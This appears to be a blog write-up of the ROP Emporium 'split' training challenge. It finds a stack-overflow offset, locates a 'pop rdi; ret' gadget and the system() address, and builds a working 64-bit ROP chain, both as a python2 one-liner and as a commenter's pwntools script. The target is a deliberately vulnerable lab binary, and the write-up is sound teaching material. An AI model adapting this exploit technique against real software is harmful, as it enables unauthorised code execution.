ROP Emporium | split Solution

In this challenge the elements that allowed you to complete the ret2win challenge are still present, they’ve just been split apart. Find them and recombine them using a short ROP chain.

The binary and challenge description can be found here:
https://ropemporium.com/challenge/split.html

This challenge bumps up the difficulty a bit. We’ll need to build a small ROP chain to get the binary to perform the same actions as the ret2win challenge.

First, let’s get the binary and run it:

andrew ~ $ wget --quiet https://ropemporium.com/binary/split.zip

andrew ~ $ unzip split.zip 
Archive:  split.zip
  inflating: split                   
 extracting: flag.txt                

andrew ~ $ ./split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> stuff

Exiting

Same functionality as before, though the length of the buffer is not specified. It’s probably the same, but I’ll want to verify anyway. Unfortunately, overwriting beyond the saved return pointer on the stack results in the RIP register not actually getting the overwritten value:

andrew ~ $ sudo dmesg -C

andrew ~ $ python2 -c 'print "A"*200' | ./split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> Segmentation fault (core dumped)

andrew ~ $ dmesg -t
traps: split[109086] general protection fault ip:400806 sp:7ffc20ef29e8 error:0 in split[400000+1000]

This happened with the ret2win challenge as well, I just didn’t demonstrate it since the ret2win page tells you to use 45 bytes to overflow the buffer. I think it has to do with the protections in place for the binary. Fortunately, I can use the power of Bash loops to quickly figure out how many bytes of input causes a segfault:

andrew ~ $ for i in $(seq 30 50); do echo "Bytes: $i"; python2 -c "print \"A\"*$i" | ./split >/dev/null; done
Bytes: 30
Bytes: 31
Bytes: 32
Bytes: 33
Bytes: 34
Bytes: 35
Bytes: 36
Bytes: 37
Bytes: 38
Bytes: 39
Bytes: 40
Segmentation fault (core dumped)
Bytes: 41
Segmentation fault (core dumped)
Bytes: 42
Segmentation fault (core dumped)
Bytes: 43
Segmentation fault (core dumped)
Bytes: 44
Segmentation fault (core dumped)
Bytes: 45
Segmentation fault (core dumped)
...

andrew ~ $ sudo dmesg -C

andrew ~ $ python2 -c 'print "A"*45' | ./split 
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> Segmentation fault (core dumped)

andrew ~ $ dmesg -t
split[110005]: segfault at a4141414141 ip 00000a4141414141 sp 00007fff59067ee0 error 14 in libc-2.30.so[7f7abc2d2000+25000]
Code: Bad RIP value.

As predicted, this is the same as with the ret2win challenge. On to building a ROP chain. The “split challenge” page says that we should verify the two elements that are necessary to complete this, the "/bin/cat flag.txt" string and the call to system(). rabin2 can help us with that:

andrew ~ $ rabin2 -z split
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000008a8 0x004008a8  21  22 (.rodata) ascii split by ROP Emporium
001 0x000008be 0x004008be   7   8 (.rodata) ascii 64bits\n
002 0x000008c6 0x004008c6   8   9 (.rodata) ascii \nExiting
003 0x000008d0 0x004008d0  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x000008ff 0x004008ff   7   8 (.rodata) ascii /bin/ls
000 0x00001060 0x00601060  17  18 (.data) ascii /bin/cat flag.txt

andrew ~ $ rabin2 -i split
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x004005d0  GLOBAL    FUNC puts
   2 0x004005e0  GLOBAL    FUNC system
   3 0x004005f0  GLOBAL    FUNC printf
   4 0x00400600  GLOBAL    FUNC memset
   5 0x00400610  GLOBAL    FUNC __libc_start_main
   6 0x00400620  GLOBAL    FUNC fgets
   7 0x00000000    WEAK  NOTYPE __gmon_start__
   8 0x00400630  GLOBAL    FUNC setvbuf

Now I’ll need to learn how the call to system() is made while passing a string as an argument. For that, I’ll look at the ret2win binary as an example:

[0x00400650]> aa
[Cannot analyze at 0x00400640g with sym. and entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)

[0x00400650]> pdf @ sym.ret2win
┌ (fcn) sym.ret2win 32
│   sym.ret2win ();
│           0x00400811      push rbp
│           0x00400812      mov rbp, rsp
│           0x00400815      mov edi, str.Thank_you__Here_s_your_flag:  ; 0x4009e0 ; "Thank you! Here's your flag:"
│           0x0040081a      mov eax, 0
│           0x0040081f      call sym.imp.printf                        ; int printf(const char *format)
│           0x00400824      mov edi, str.bin_cat_flag.txt              ; 0x4009fd ; "/bin/cat flag.txt"
│           0x00400829      call sym.imp.system                        ; int system(const char *string)
│           0x0040082e      nop
│           0x0040082f      pop rbp
└           0x00400830      ret

This shows that all I need to do is get the address of the string into EDI/RDI and make the call to system(). What I can do, it put the address of the string (0x601060) onto the stack, pop that into RDI (since this is 64-bit after all), then call system().

First, as a proof-of-concept, I’d like to make sure I can exploit the binary. Fortunately, there’s an unused function that I can force the program to call:

[0x00400650]> fs imports

[0x00400650]> f~system
0x004005e0 6 sym.imp.system

[0x00400650]> axF sym.imp.system
Finding references of flags matching 'sym.imp.system'...
[0x004009b0-0x00400a84] sym.usefulFunction 0x400810 [CALL] call sym.imp.system
Macro 'findstref' removed.

[0x00400650]> pdf @ sym.usefulFunction
┌ (fcn) sym.usefulFunction 17
│   sym.usefulFunction ();
│           0x00400807      push rbp
│           0x00400808      mov rbp, rsp
│           0x0040080b      mov edi, str.bin_ls          ; 0x4008ff ; "/bin/ls"
│           0x00400810      call sym.imp.system          ; int system(const char *string)
│           0x00400815      nop
│           0x00400816      pop rbp
└           0x00400817      ret

I used the analyze xreferences Flags command to find any cross references to the sym.imp.system flag. In this case, radare2 tells me that it’s called by usefulFunction(). It seems the only purpose of that function is to run the /bin/ls command.

Let’s overwrite the saved return pointer on the stack to redirect the flow of execution to there:

andrew ~ $ python2 -c 'import struct;print "A"*40 + struct.pack("Q",0x400807)' | ./split
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
>  Desktop   Documents   Downloads   exploit-pattern   flag.txt   profile.rr2   ret2win   split  'VirtualBox VMs'
Segmentation fault (core dumped)

There it is! Right before the segfault is the listing of files in my current directory. Now I can build a ROP chain to get the binary to spit out the contents of flag.txt. The input to the binary will look something like this:

"A" * 40 => buffer
Address1 => "pop edi" gadget
Address2 => "/bin/cat flag.txt"
Address3 => system()

So now, we’ve got to actually find the gadget. radare2 has as gadget searching mechanism using the /R command. However, I can’t seem to get it to work properly. No matter. I can use Ropper, a Python-based tool for searching for gadgets:

andrew ~ $ ropper --file split --search "pop rdi; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret

[INFO] File: split
0x0000000000400883: pop rdi; ret;

Great! It found one. Now I’ve got all the addresses I need. The input should now look like:

"A" * 40 => buffer
0x400883 => "pop edi" gadget
0x601060 => "/bin/cat flag.txt"
0x4005e0 => system()

Now I should be able to put it all together. If it were any more complex, I’d probably write a Python script, but I can squeeze this onto a single line:

andrew ~ $ python2 -c 'import struct;print "A"*40 + struct.pack("Q",0x400883)+struct.pack("Q",0x601060)+struct.pack("Q",0x4005e0)' | ./split
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)

Perhaps in the future I’ll learn how to use the pwntools Python library.

2 thoughts on “ROP Emporium | split Solution

  1. qmi says:

    Hi there,
    thanks for your site it’s very helpful. I learned a lot from you. BTW, here is a simple solution for the same task using pwntools library in Python:


    from pwn import *

    binary=ELF(‘split’)
    junk= ‘A’*40 # buffer overflow at RBP register
    pop_rdi=p64(0x00400883) # ‘pop rdi; ret’ gadget address
    usefulstring=p64(0x00601060) # ‘/bin/cat flag.txt’ useful string address
    system=p64(binary.symbols.system) # the system() call address

    payload= “”
    payload+=junk
    payload+=pop_rdi
    payload+=usefulstring
    payload+=system

    io=process(binary.path)
    io.recvuntil(‘> ‘)
    io.sendline(payload)
    log.success(io.recv(512))
    io.close()

    I hope it helps 🙂 .
    Regards,
    qmi

    Reply

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.